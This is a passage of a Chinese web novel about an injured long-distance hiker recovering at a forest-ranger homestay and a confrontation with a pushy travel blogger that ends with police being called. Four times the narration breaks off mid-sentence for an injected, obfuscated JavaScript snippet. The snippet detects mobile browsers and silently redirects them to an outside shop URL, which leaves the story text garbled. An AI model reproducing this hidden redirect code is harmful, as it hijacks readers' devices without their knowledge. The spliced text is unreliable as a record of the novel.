一个女人独自奔赴异乡,几经周折,她将这栋楼改造成特色民宿。开展经营的同时,江念月还兼任护林志愿者,每隔几天就在林间巡视。正因为她的这重身份,才能在替换红外相机存储卡的途中发现你、救了你。 罗亦柯还说,春夜雨声的生意谈不上红火,一是此地紧邻生态保护区,远离景区和滑雪场,二是因为江念月的经营理念与别家民宿老板不同。 虽然你只和江念月有过简短的交谈,但你察觉到她不是一位“称职”的生意人。 从医院回民宿的路上,你用手机搜索春夜雨声,得到的结果仅有两条,而且是住客发在自己社交平台的住店体验。 信息时代,任何从事商业活动的人都选择推广自家产品和项目。如此看来,江念月是另类中的另类。 这里说的“另类”不是贬义词。 你拿起手机,搜索她的名字。 如你所料,她没有社交账号,大隐隐于互联网。 是个怪人。笑意在你唇边蔓延——说别人怪,你这是典型的五十步笑百步。 拉开半边窗帘,你向外望去。 视野所及之处,强光手电筒把通往春夜雨声大门的路照得亮如白昼。尽管民宿的窗户安装了中空玻璃,你仍能听见廊灯下的说笑声。 随着白光移动,你看见罗亦柯跑上前,接过一个中年男人手中的行李。 那人就是赵思忱的舅舅吧?他们亲人团聚,你心头忽然泛起淡淡伤感。刚才只顾着应对高烧带来的不适,忘了给姐姐回拨电话。 你坐回床边,对着前置摄像头整理发型,拍了张自拍发送给姐姐。 “我洗了澡,准备睡觉。”善意的谎言。 等待近十分钟,姐姐的回复姗姗来迟:“把你的定位发给我,我订票接你回家。” 你连忙打视频过去:“姐,我稍作休整得继续出发去根河,半途而废不是我的风格。一点小病小痛而已,我扛得住。” 姐姐面露愠色:“江子墨!” 连名带姓喊你大名是姐姐大发雷霆的前兆。 “姐,我不是小孩了,你让我自己做主,好吗?”似乎有只无形的大手攥住了你的心脏,胸口深处揪作一团,“根河之旅,是我对棉花糖的承诺,如果这条路走不到终点,我没脸回家。” “你就犟吧,一百头牛也拉不回来!风餐露宿的,身体垮了吃苦头的是你自己。” “姐,别担心我,好好照顾自己。每月初一十五,帮我在棉花糖的小冢上放点鸡胸肉和蒸南瓜,它最喜欢吃这两种饭了。”你努力平复着心情,装作若无其事地转移话题,“前些天咱俩通电话,你跟我说最近有个帅哥在追你,他长什么样,有照片吗,给我瞅瞅?” “没有帅哥,是个骗子。”姐姐的脸色稍有缓和,“你说的没错,潼城这个地方,一到冬天就把人心冻透了,只剩下谎话和欺骗。” 你说:“等我回去,找他当面算账。” 姐姐摇摇头:“一个谎称策划展览的骗子,也不知道是哪里人,打我钱包和绣坊股权的主意,我已经把他打跑了。” “干得漂亮!”你绷紧的心弦骤然放松,“对待骗子就该这样。” “你下决心往根河走,就踏踏实实走,不要总惦记家里这边。丝雨绣坊这么多姐妹,都是我的左膀右臂。我们互相帮衬,像自家人一样亲。”姐姐叹口气,说,“子墨,你叫我放心,我怎么可能放得下心?你一个人,去那么冷的地方……” “现代社会,通讯发达,总有生存的办法。我装备齐全,再把身体养好,这趟旅行一定会很顺利。” 姐姐突然发问:“两个钟头前,摄像头怎么糊成一片,你是不是跟人打架了?” 你怔了怔,很快回过神。 “老姐,你丰富的想象力不当编剧太可惜了!” “少在那儿打哈哈——”姐姐追问,“你挂电话的时候,我听见有好几个人在你旁边,好像还有狗的哼哼声,到底怎么回事?” “民宿老板养的金毛,跑过来趴我脚背上,把我童年阴影吓出来了。” 姐姐陡然来了兴趣:“我喜欢金毛!你有空拍张照片让我看看。” “明天吧,这会儿他们全都睡下了。”你看一眼手机屏幕左上角的时间,“姐,你也早点休息,明天我把美味早餐和可爱金毛拍了发给你。” “一言为定!” 通话结束,你吁出长长的一口气。姐姐算是暂时稳住了。接下来,你需要做的是找个合适的时机,用你独有的方式、向你的救命恩人真诚地道谢。 一楼门廊的谈笑声,如涨潮时的浪花,热闹地漫过楼梯,离你房间门口越来越近。 房卡刷开门锁的滴答声清晰可闻。 很显然,赵思忱的舅舅住进了309对面的房间。 你钻进被窝,选了个相对舒服的姿势躺下。定好两小时后量体温的闹钟,你阖上双眼,开始数绵羊。 每秒一只,数到第三十只你就坐起来了。 烧退了反而睡不着。 你下床,披上罗亦柯借给你穿的黑色长款训练服,打开房门走了出去。左脚的伤口位于老茧最厚的部位,药膏效果很好,你感觉不到疼痛,步幅和赶路时一样,只快不慢。 江念月站在一楼餐厅桌旁,手脚麻利地收拾碗筷餐盘。 你大步上前,伸手想要帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029568|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙。 她抬起头,看见是你错愕不已。拨开你的胳膊,她放下手里的瓷盘,绕过桌子搬了把椅子让你落座。 “大厅供暖勉强能达到18度,体感很冷。你穿得单薄,坐一下就回房间吧,我忙完去给你量体温。” “会不会……太麻烦你了?” “是朋友就别纠结,这点小事何足挂齿?”话音未落,她先笑了,“抱歉,我想什么说什么,你听不惯直接反驳我,不要忍着。” 你也笑:“我也喜欢有话直说。” 江念月端来一杯热气腾腾的大麦茶,轻轻搁在你手边:“输液那会儿你只吃了半个三明治,现在饿了吧?杂粮粥不好消化,山药青菜粥怎么样?” “这么晚了,你开火煮粥多累啊!就喝杂粮粥,发烧不影响我的胃口。” “又跟我客气了不是?”她眼中闪烁着慧黠的光芒,“自制的冷冻速食粥,大部分营养都保留了,微波炉叮五分钟就能喝了。” “好。” “你喝完这杯茶,身上暖和了就回房间,粥热好我给你送过去。” 她转去厨房忙碌。 你起身把桌上的餐盘碗筷收进桌边的手推车,正要往厨房推,身后传来浑厚的男中音。 “你病还没好,粗活儿交给我!” 赵思忱的舅舅扶你坐下,摁下把手将手推车推向厨房。他和江念月低声交谈两句,迅速走回你身旁。 “你是江子墨?久仰大名,你的每条视频我都看过,我的特别关注列表里你排在第一。” “不敢当。” 对方从上衣口袋掏出一张名片,郑重地双手递给你:“我是程燃,和你一样,也是大自然的守护者。” “幸会。”你注意到程燃名片上第二行小字,“野生动物保护工作很辛苦吧?” “和你日行五十公里相比,我们走几步山路实在上不得台面。” “为什么妄自菲薄?”江念月来到餐厅,看看程燃,又看看你,“所有人做的事情都重要。两位大佬,说句心里话,地球少了你们绝对转不动。” 你笑着反问:“我们有这么大的贡献?” “那是当然。”江念月的概括能力令你刮目相看,“程燃身体力行保护地球生态、教出许多优秀的学生;江子墨用脚步丈量地球、让更多的人爱上大自然——你们俩是被选中的地球卫士,要再接再厉才对!” 程燃投来赞赏的目光:“你是老板,我们听你的。” 江念月开起了玩笑:“给我戴高帽也不能逃掉洗碗的任务。还有件事,洗碗机坏了好几天,明早吃过饭你帮我拆开看看。” “我会修……”你想要起身,却被程燃拦住了。 “子墨兄弟,我们大家知道你是修理电器的高手,但当务之急是你得调理好身体。小月说你刚才烧到将近40度,万一出现并发症就危险了。作为忠实粉丝,我只想扶你回去休息,其他事情等你病好了再说。” 表达感谢之后,你婉拒了程燃的好意。 “我的脚伤不碍事。你们聊,我先上楼。” 9. 第九章 “等一下。”你喊住江子墨,“该量体温了,我和你一块儿上楼。” “时间好像还没到……”他扶着桌角站起身,“我记得萧医生说的是间隔两小时。” 你抬腕看表:“上一次量体温是六点五十,现在刚好八点五十。” “那好吧。”江子墨走在前面,略带歉意向你道谢,“我自己量就行,量好把体温计读数发到你手机上。” 你默然不语,三步并作两步,很快超过江子墨,站在了三楼转角处。 309房间近在咫尺,你忽然回过头,嗓门不大却简洁明了:“关于住宿你可以提任何意见,但是在我的……” “在你的地盘,必须听你的。”江子墨猜到你要说什么。 “没忘就好。”你说,“可能我语气重了,对不起。不过你是病号,应该遵医嘱,多休息按时服药。” “既然是朋友,没必要道歉。”他摸出外套口袋的房卡,轻轻推开房门,先一步走进去插卡取电,“门开着吧,屋里暖气足,我身上不冷。” 你明白他的用意,手上的动作愈发麻利。 “我把你换下来的浴袍拿去洗衣房,五分钟后回来。”转身时,你听见电子体温计开启的声音,心中的担忧随即得以释放。你顺路去了趟晾晒区,摘下江子墨的冲锋衣,打算给他送回去。 咔嚓! 快门声响起,你回头一瞧,206房间入住的客人举着手机对准你所在的位置拍了张照片——她是赵思忱接待的那位昵称“小熊爱吃草莓蛋糕”的旅游博主,本名熊沐诩。 你心生不悦,但还是有礼有节地和对方交流:“打扰了,刚才的照片请您删掉。” “Why?”熊沐诩一脸懵,“我帮你们做个vlog推荐不好么?免费的,分文不收。你是介意我没把你拍好看吗?后期我会修图,我保证我镜头里的都是大美人。” “我和我先生有过约定,春夜雨声不打广告,只接待有缘人。” “不是我多事,老板,这都什么年代了,你的思想要因时而变。这栋护林员住过的小楼改成民宿,本身就是卖点。旁边又是保护区,那些看腻了动物园的游客,最愿意住这种民宿。” 你上前,摊开右手:“手机给我。你不删我自己删。” 熊沐诩双手背到身后:“你这是什么强硬的态度?拍照是我的自由,你没权利删我的素材。” “谈谈交换条件吧,怎么做你才愿意删掉照片?” 江子墨的声音从你身后传来。不出五秒,他与你并肩而立。 或许是病中的他形象憔悴,又或者两位博主不是同一赛道,熊沐诩听了这话,只是若有所思地站在原地,不说话也没有明显的情绪波动。 “既然你选择住进这间民宿,就要尊重老板。”江子墨说,“还有,你拍到了老板的正脸和侧脸,侵犯了她的肖像权。” 熊沐诩咬咬牙:“打马赛克不行吗?” “不行!”你的拒绝铿锵有力,“我说了,春夜雨声不打广告,不拍视频和照片。” 熊沐诩试图用戴高帽的方式偷换概念:“老板,你知不知道你开的这间民宿多么有特色?放眼全国,没有一间民宿能和护林员小楼相提并论——我在来的路上,遇见一只傻狍子,然后好几只小松鼠往人头上丢松塔。假如明天我出去转一圈,说不定还能看到猞猁和紫貂,这里比海滨酒店、雨林泡泡屋好玩多了……” “护林的护是什么意思,你不会不明白吧?”江子墨打断对方的长篇大论,“要么删掉照片,要么出去对棕熊做个面对面采访,二选一,你选哪个?” 熊沐诩愣了:“我看你眼熟,你到底谁啊?” “我有个两全其美的想法。”江子墨说,“你开个价,我把你拍的所有春夜雨声的照片视频买下来。” “哟嗬,财大气粗!”熊沐诩盯着江子墨的脸看了好一阵子,“你是老板什么人,口气倒是不小,你知道我拍的素材有多值钱吗?你不查查卡里的余额就敢说这种话?” “我拍的素材也很值钱。” 江子墨拉开训练服领口的拉链,露出挂在胸口的运动相机。 熊沐诩眼睛瞪得溜圆:“你录视频!” 江子墨说:“没录全,但是关键几句都录到了。这里风大,要不要换个暖和的地方聊聊?” - 收拾完厨房,安顿好悠悠,你上楼叩响江子墨的房门。 “门没锁,进来吧!”他的声音听上去很平静。 “我送两件烘干的浴袍过来。”你轻轻走进房间,将浴袍挂在门后衣柜里,“这会儿是十点整,等到十点五十你量一次体温,高于38度5就要吃退烧药。” “好。”江子墨递上一只银白色U盘,“春夜雨声的照片视频都在里面了。” “她开价多少钱?我还给你。” “没要钱。” “怎么可能?”你不可置信地望着他,“小熊粉丝有五百万,她又是那样的性格,肯定不会好声好气地把照片交给你。” 江子墨淡然一笑:“交换条件是等我到了根河市,开场直播与她连麦互动。” 你接过U盘,于心底深深叹了口气。 沉默许久,你满怀歉意地说:“对不起,让你受委屈了。” “不委屈。”他说,“自从棉花糖走后,我的直播间关闭了打赏。小熊想蹭我的热度,把我的部分粉丝转化成她的,符合她的行事逻辑。至于成功率,我不好判断,直播当天见分晓吧。” “这样做给你招黑怎么办?”你惴惴不安地问。 “黑或者红,对我来说,不如今天晚上这碗山药青菜粥重要。”江子墨端起床头柜上洗干净的瓷碗,“如果可以点餐,明早我还想喝一碗同款粥。” 你笑了,发自内心的。 “春夜雨声从开业那天就接受点餐,我给你搭配一碟豆沙包、水煮蛋和培根好不好?” 江子墨点头:“明天我下楼吃早饭,你不用送上来了。” “收到。”你退到房间门口,临出门忽然想起蓝牙音箱待维修的事情,“程燃说你是修理电器高手,我能请你帮个忙吗?” 江子墨看看你,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029569|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头看看他的双手:“什么电器?只要不是电路板元器件特别精密的,我能修。” “影音室的蓝牙音箱,突然没声音了。明天吃完早饭,你过去帮我瞧瞧。” “报酬多少?”江子墨问,“能抵房费吗?” 你听懂了他话里有话,忍笑退后半步,努力控制住面部表情,在他追问前锁上房门。下楼的时候,你的手机接连进来五六条新消息。 回到一楼自己的房间,你才解锁手机屏幕查看。 消息全是罗亦柯发来的。 “小姨,307和309之间这堵墙是不是中空的?你和墨哥说话我听的一清二楚!” “呼叫小姨!呼叫小姨!” “怎么回事?小姨你手机静音了?不回我消息当我是空气吗?” “我要把你们的对话内容发给我妈,让她分析一下。” “唉,我妈也没回我。狠心的妈妈,狠心的小姨,原来爱是会消失的,我心好痛!!!” 你忍俊不禁,锁好房门坐到悠悠身边地毯上。放下手机,你搂紧悠悠的脖子,轻吻它的额头。 悠悠抬抬眼皮,喉咙里发出轻柔的撒娇声。 窗外,雪悄然飘落。 屏息聆听,落雪也是有声音的。不同于林间的风和深夜虫鸣,也不是春夜雨声那般节奏明晰。落雪声细碎而密集,像加工坊的玉屑不断堆积,又像丝线穿透底布织出经纬纹样。 你静静听着,直到困意袭来。 手机屏幕亮了,又进来一条新消息。 这次的发送人是江子墨。 “萧医生说得对,脚伤感染引起的高烧不容易退烧。我的体温38.9,退烧药已吃。” 你的心踏实了不少:“好好休息,养足精神帮我修音箱。” 他回复速度飞快:“任凭差遣。” “忘了问你,那会儿我去洗衣房,你怎么跟上来了?是有什么事要说吗?” “我想穿自己的外套,所以去了你说的晾晒区。听见你和小熊争执,我马上回房间拿了运动相机,其实根本没时间开机,就挂在脖子上当个道具。” 你恍然大悟:“原来如此!” 他说:“能帮上你,我很荣幸,都是我应该做的。” 你回他简短的两个字:“晚安。” 他回了五个字:“晚安,明早见。” 你给手机充上电,摸摸悠悠后脑勺,为它盖好厚被子:“睡吧,宝贝,好好睡一觉。” 悠悠眨眨眼,在你给它掖被角时突然伸出右前爪,碰碰你的胳膊。 “怎么了?” “嗯。” 循着悠悠的视线,你发现相框正面朝下扣在了写字桌上。 “谢谢乖宝提醒,妈妈这就去把相框摆好。” 照片的前景是你和老夏抱着悠悠,背景是燕都北郊那片浓的化不开的绿草地。你们曾在那里救了流浪猫妈妈和它的孩子。 你把相框抱进怀中。 躺进被窝,你把相框搁在枕边,左手轻轻覆盖在上面。老夏,今晚我会梦到你吧? 10. 第十章 早餐时分,最先坐到餐桌旁并列第一的是你和罗亦柯。 很显然,罗亦柯早就醒了。307房间从清晨六点多就循环播放着风格迥异的音乐,有流行歌曲、爵士乐,还有京剧《铡美案》的唱段。听见你关门锁门的声音,他立刻跑出来,热情地与你打招呼,和你一前一后下楼走进餐厅。 江念月在厨房里忙碌。 罗亦柯为你接了杯温水,然后钻进厨房帮他的小姨打下手。 七点零五分,你期待的早餐端上桌。江念月抱歉地说,她记忆力出错,冰柜里豆沙包已经没有存货,问你糖三角行不行。 “我喜欢吃糖三角。”你并不介意。 “小柯,给江子墨热两个糖三角,微波炉高火两分钟,有硬芯再增加二十秒。”江念月端起两个托盘,转身前不忘小声叮嘱,“粥刚热好,慢慢喝,别被烫到。” 你轻轻点头:“好的。” 目送她的背影转过二楼走廊入口,赵思忱忽然推开大门走了进来。她裹着一身的寒气,换了拖鞋拉过一把椅子坐到你的对面。 “子墨大佬,门外的脚印是你留下的吗?” “不是,我一晚上都在房间。”你心存诧异,却也没多问。 “奇怪。”赵思忱转头看了看罗亦柯,“小柯同学,你夜里出去干嘛了?半米深的积雪,你不怕冻感冒啊?” 罗亦柯双手抄在胸前:“楼里住了十几号人,你总盯着墨哥和我质问,居心何在?” 赵思忱惊讶于他京剧式的道白说得字正腔圆:“不错嘛,小伙子你文武双全!” “从小在京剧院耳濡目染,学了点皮毛。”罗亦柯把热气腾腾的糖三角拿给你,又为赵思忱送来早餐,“一碗不加香菜的牛肉面,这是辣椒油和老陈醋,你自己调味吧。” 美食当前,赵思忱探究脚印属于谁的执念并未打消。 “据我所知,磊叔昨天送萧医生回去,因为雪太大他借住在杨站长的宿舍。刚才他在群里说,中午才能赶回来。咱们这些人,只有子墨大佬走的是荒野探险赛道,我想不出还有谁大半夜不睡觉到雪地里撒欢儿?” “是我。”江念月的声音从楼梯口方向传来,“可能白天喝了太多红茶,夜里睡不着干脆出去散步。” “小姨你不是调理好了吗?”罗亦柯抬手捂住嘴巴,以免喊得太大声惊扰其他客人。 “希望科学家早日攻克失眠这个难题。”江念月走到餐桌旁,“手头有个更棘手的难题——206熊沐诩的餐,小柯你去送。” “为什么?”罗亦柯脑袋摇得像拨浪鼓,“我好歹是个公众人物,我不做抛头露面的事情。”他压低嗓门,抗议中带着抗拒:“昨天她找我要签名照我说没带在身边,拍合照我也没答应。今天我不敢和她打交道,我怕这点小事变成我的黑料。” 刚把糖三角送至嘴边的你忍不住笑了:“206的餐交给我吧。” 江念月不同意:“你安心吃饭。”她看看赵思忱,后者迅速领会,腾地一下跳离椅子。 “小月姐眼光独到,在场的四个人,我是送餐最佳人选。”赵思忱端托盘的动作幅度过大,不小心洒了半杯豆浆出来,“唉,出师未捷……本来有机会靠近大佬向她请教呢,结果搞成这样。” “不要紧,我换一杯。” 江念月从厨房拿了杯七分满的豆浆,顺手换了个干净托盘,一齐交到赵思忱手中。 她还没迈开步子,拎着大号行李箱的熊沐诩出现在了楼梯拐角处。 “别送餐了,我下楼吃饭。” 见此情形,江念月上前帮忙提行李箱,熊沐诩却拨开她的手,提出吃完早餐就退房的要求。 “外面零下二十九度,安全起见,你可以中午退房。今天上半天的房费我不收,你安心在房间休息,订的车来了你再出发。” 江念月的好意,熊沐诩毫不领情:“这破地方,我一秒钟都不想多待!” 赵思忱被这种莫名其妙的恶意惹怒,放下托盘就要冲过去,江念月连忙拉住她的胳膊,将她拽回身旁。 “小月姐,她……” “沉住气,都是小事。” 你和罗亦柯对视一眼,彼此交换眼神后你先开了口:“老板好心提醒,你不乐意是你的自由。外面积雪很深,你下山的时候注意安全,必要时拨打管护站的电话请求救援。” 说完,你把春夜雨声定制的紧急救援联系卡片推向桌角。 罗亦柯适时地帮腔:“良言一句三冬暖,恶语伤人六月寒。听人劝,吃饱饭。我劝你先填饱肚子,边吃饭边琢磨接不接受大家的建议。” 熊沐诩脸色青一阵白一阵,默默坐下,伸手拿起了卡片。 江念月把托盘里的定制早餐端到熊沐诩手边:“话糙理不糙,你先吃饭吧。” “做生意只为赚钱的商人,扮演哲学家叫人起鸡皮疙瘩!”熊沐诩仍然不肯展露一丁点好脸色,“房费怎么收等下再说,我浪费的时间你怎么补偿我?” “别人吃霸王餐,你居然想住霸王店?”赵思忱替江念月打抱不平。 “我是消费者,我维护自己的合法权益,老板都没反对,你一个路人甲管得着吗?” 你彻底听明白了。 昨晚的拍照事件熊沐诩吃了瘪,此刻她要找补回来。尽管你答应她抵达根河市与她直播互动帮她涨粉,但是她的目的是索要全部押金,而且一分钱房费都不想出。 对于没有户外生存经验的人,面临极寒天气会产生许多风险。八年的实践,令你深刻地感受到没有什么比生命更重要。 遇见棉花糖的那年冬天,你经历了徒步生涯中第一次失温。幸好小家伙及时用大叫和啃咬的方式将你唤醒,否则后果不堪设想。 而这次露营北山的遭遇,让你体会到了存在的意义。 昨天傍晚,萧医生赶来之前,高烧使你陷入昏睡与清醒之间的混沌状态。江念月和罗亦柯的对话你听得断断续续,你只记得江念月说无论是人还是大自然的动植物,都应该珍惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029570|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己宝贵的生命。 眼前这位旅游自媒体红人的言行举止,不是简单的“任性”。既然她有明确的目的,那么只要找对方法,问题一定能妥善解决。 略作思忖,你决定好言相劝。 然而却被赵思忱抢了先:“原来你视频里的人设全是假的!” 熊沐诩翻个白眼,极其精明地不作回应。 “虚伪!” 赵思忱晨练后的愉悦心情被悉数破坏,牛肉面也不吃了,狠狠瞪了熊沐诩一眼径直跑上楼去。 关门声由走廊尽头传入在座所有人耳中,四周压抑的空气散发着浓重窒息感。 熊沐诩换上一副恹恹的似笑非笑的嘴脸,苦情戏不演了,面具也不戴了,主动提要求:“206卫生间墙砖发霉,床单被罩有股潮气,我能坚持住一晚上是我忍耐力强。老板,你是聪明人,把房费免了吧。如果我投诉到市场监督管理局和消协,罚款是轻的,你的营业执照被吊销就得不偿失了。” 江念月沉默不语,罗亦柯气不过替她出头。 “证据呢?你红口白牙瞎编乱造我们可不吃这套!” 熊沐诩扬起下巴,对准你的座位:“U盘给江子墨了,你不信就插电脑上看呗。” 罗亦柯望向你:“墨哥,照片和视频你看了吗?” “能修改的数据当不得真。”你的手覆盖在瓷碗边沿,确认粥已凉透,遂举手示意罗亦柯稍安勿躁。你起身,来到距离熊沐诩一步之遥的位置,朝她伸出手。 “206的房卡给我。” “凭什么给你?”对方有些慌了,仍在负隅顽抗,“你又不是老板,没权利进我的房间。” 你不急不躁,手伸在半空静静等待:“我脚上有伤,爬三楼不方便,昨天我跟老板提过换房间的事,你不是要退房吗?正巧给我腾地方。” 熊沐诩把斜挎包搂得更紧了:“狗拿耗子,我只跟老板谈,你算老几?” 对方的处事方式在你意料之内。你不再多说,转而询问江念月是否可以把民宿房间总卡借你一用。 江念月走回前台,解锁抽屉密码取出总卡递给了你。 “哎——”熊沐诩急了眼,“你们欺人太甚,我报警让警察蜀黍过来评评理!” “报警吧,我还怕你不敢呢!”罗亦柯到底是少年意气,想什么说什么,“就算你粉丝过亿,你也得遵纪守法……” “小柯,别说了,她在录音!” 你发现熊沐诩挎包侧兜网袋有蓝色灯光闪烁,是录音笔在工作。 江念月一听这话,眼疾手快地抓住熊沐诩的手腕。她面色凝重:“我不知道你的真实目的,但我警告你,休想抹黑罗亦柯——你要是敢断章取义编造黑料,我跟你拼命!” “威胁我?呵,你想错了,我对打乒乓球的不感兴趣——早就听说生态保护区边上开了家黑店,果然和网友说的一模一样。”熊沐诩晃晃手里的手机,“报警短信发送成功,警察蜀黍快到了,你和他们解释去吧!” 11. 第十一章 林场辖区派出所出警的两位警官是熟人,他们曾处理过多起春夜雨声被住客逃单的纠纷。 这一次不同。 伍警官问你是否和解,你拒绝了。另一位刘警官注意到你怒气未消,便提出其他人先行离开,只留你和熊沐诩在一楼大厅接受问询。 熊沐诩歪曲事实的讲述,你听了只觉可笑。 在警官面前,你不回应她的每一句刁难,也不解释她列举的所谓“房间卫生很差、店长店员服务态度恶劣”的指责。 谈话结束,伍警官和刘警官为熊沐诩出具了报警回执单,随后上楼进入206房间查看。 再回到一楼时,他们给出了合理的解决方案。 由于一晚房费260元达不到立案标准,而且房间里并不存在墙砖发霉、床品潮湿的情况,两位警官对本次事件的处理结果是建议熊沐诩固定图片和视频证据、离店之后走起诉流程。 你看得出,熊沐诩对处理结果相当不满,但她克制着没发作。 警官准备离开,熊沐诩忽然说她人生地不熟、独自下山搭车有危险,央求伍警官捎她一程。 伍警官的年纪与曹磊相仿,恰好家里有个女儿在外地上大学,他体谅女孩子出门在外的不容易,遂答应了熊沐诩的请求。他让刘警官帮忙搬运熊沐诩的行李,然后把你叫到一旁叮咛两句。 “小月,打扫房间之前,你也要固定证据,拍照、录视频,一个都不能少。” “我明白。” “后续她要是向法院起诉,或者在网上发布视频,你第一时间联系我,我尽我所能提供帮助。” “好的,伍警官,谢谢您。” 大门关上,你站在落地窗前目送三人离去。 直到他们的背影消失在林中,你才慢慢转过身。罗亦柯和赵思忱像两尊雕像,一左一右伫立大厅沙发两旁,唯独不见江子墨。 “姐姐,你别上火,咱不跟那种人置气。”赵思忱上前,挽住你的手,“两位蜀黍检查206的时候,我在我房间门口听了一耳朵,这事熊沐诩不占理。” 你点头:“伍警官提醒我关注熊沐诩社交账号发布的视频,一旦有抹黑的内容出现,我就得通过法律途径维权。” 赵思忱说:“枉我以前当她是偶像,本人太叫我失望了。不提她了,我这就回房间取关她,顺便看看我舅舅腾讯会议散会了没有。” “五分钟后下楼吃饭吧。”你说,“牛肉面坨了,我重新给你做个三明治。” “不用。”赵思忱爽朗一笑,“那么好吃的手擀面,倒掉多浪费啊,微波炉叮一下就行!” 罗亦柯反应神速,立马端走面碗打开微波炉加热。 两个年轻人的阳光活力,驱散了笼罩你心头的雾霾。走进厨房,你问罗亦柯江子墨去了哪里。 罗亦柯指了指一楼走廊:“墨哥在影音室修蓝牙音箱。” “他不知道工具箱放在哪儿,我给他送过去。”你推开厨房西侧小门,打算去趟地下室。 “小姨,前期准备工作我帮墨哥完成了,工具箱、防静电手套、口罩和锡焊的小盒子,蓝牙音箱表面的灰尘我也擦了。我还搬了台吸尘器备用。事实证明我是对的,音箱拆开后盖,里面清理出不少毛絮。” 你欣慰地笑:“我们小柯长大了。” 罗亦柯眨眨眼睛,腮边的酒窝时隐时现,神情和他小时候一样憨态可掬:“都是我应该做的。不过嘛,小姨的夸奖是我进步的驱动器,比我妈和朱指导强多了,他俩总是打压我。” 你拍拍他的胳膊:“各人有各人的表达方式。” “嗯。”罗亦柯有些闷闷不乐,“道理我都懂,可是被他们批了心里不好受。” “我教你一个方法。”你轻声说,“尊重对方,但不要共情,不要体验他人的经历和处境。字面意思听着特别冷酷,从心理学角度分析,这么做能保证你不陷入内耗自责的情绪。” “我好像懂了,又好像没懂。” 微波炉加热完毕,罗亦柯戴上手套端出面碗,一边摆桌一边给赵思忱发信息。 你取出冰箱冷藏室的切片面包和土豆泥,把早晨煎好的荷包蛋放进蒸箱,又洗了几片生菜叶,着手制作三明治。 赵思忱和程燃下楼脚步声响起的同时,影音室那边传出古筝曲《高山流水》。 距离上次听这首曲子,已过去整整十年。那时,你带着悠悠自驾游,在房车营地遇见一位和母亲同龄的阿姨,她邀你共进午餐,期间你们听了循环播放的古筝曲。那位阿姨是音乐教师,退休前一直从事民族乐器的培训。你向她请教古筝演奏的学习难度,她讲得非常细致,还和你互加好友,鼓励你勇敢大胆地学。 乐曲声中,你将餐盘依次搁在桌上,招呼大家吃这顿迟来的早饭。 左手拎一只小圆凳,右手稳稳地端起托盘,你把江子墨的早餐送进影音室。曲声袅袅,阳光正好,他回过头,与你四目相对。 放下托盘,你从围裙口袋里掏出电子体温计。 “到时间了。” 他接过体温计,提了个小小的要求:“我一个人吃饭没胃口,你能和我一起吗?” “我端壶茶来,陪你一起吃饭。” 其实你吃过了,水煮蛋和一杯豆浆。每天你早起为客人烹煮餐食,做饭的间隙顺手吃掉自己的简餐,十几年了,一向如此。有时住客少,你会将自己的三餐缩减为两餐或一餐,不是刻意控制体重,而是你的食欲不再像从前那么旺盛。 今日晨间闹剧落幕,许久未曾有过的饥饿感悄然回归。 茉莉花茶的香气萦绕鼻端,你突发奇想,为自己做了一份江子墨同款早餐,只是份量减半。 看着你的餐盘,他会意一笑:“这套搭配组合,是春夜雨声的招牌菜吧?” 你说:“被你发现了。” 他起身,将茶几旁沙发的位置让给你,退后两步坐在了小圆凳上。 “哎——”你打趣道,“那是我的宝座。” “是吗?”江子墨腾地一下离开凳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029571|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低了头东瞧瞧西望望,“手工板凳,你请的木匠技艺不精,有一条凳腿明显比另外三条细。” “我怎么没注意。” 凑上去一看,你面前忽然多了只纸张泛黄的千纸鹤,它安静地躺在江子墨掌心。 “音箱里找到的。”他说,“春夜雨声接待过调皮的小孩子吗?很大可能是他们故意塞进去的,刚好卡住音圈,元器件不能散热导致引线断路,我已经用锡焊修好了。” 你拿起那只千纸鹤,细细端详:“不是小孩儿,是悠悠。” 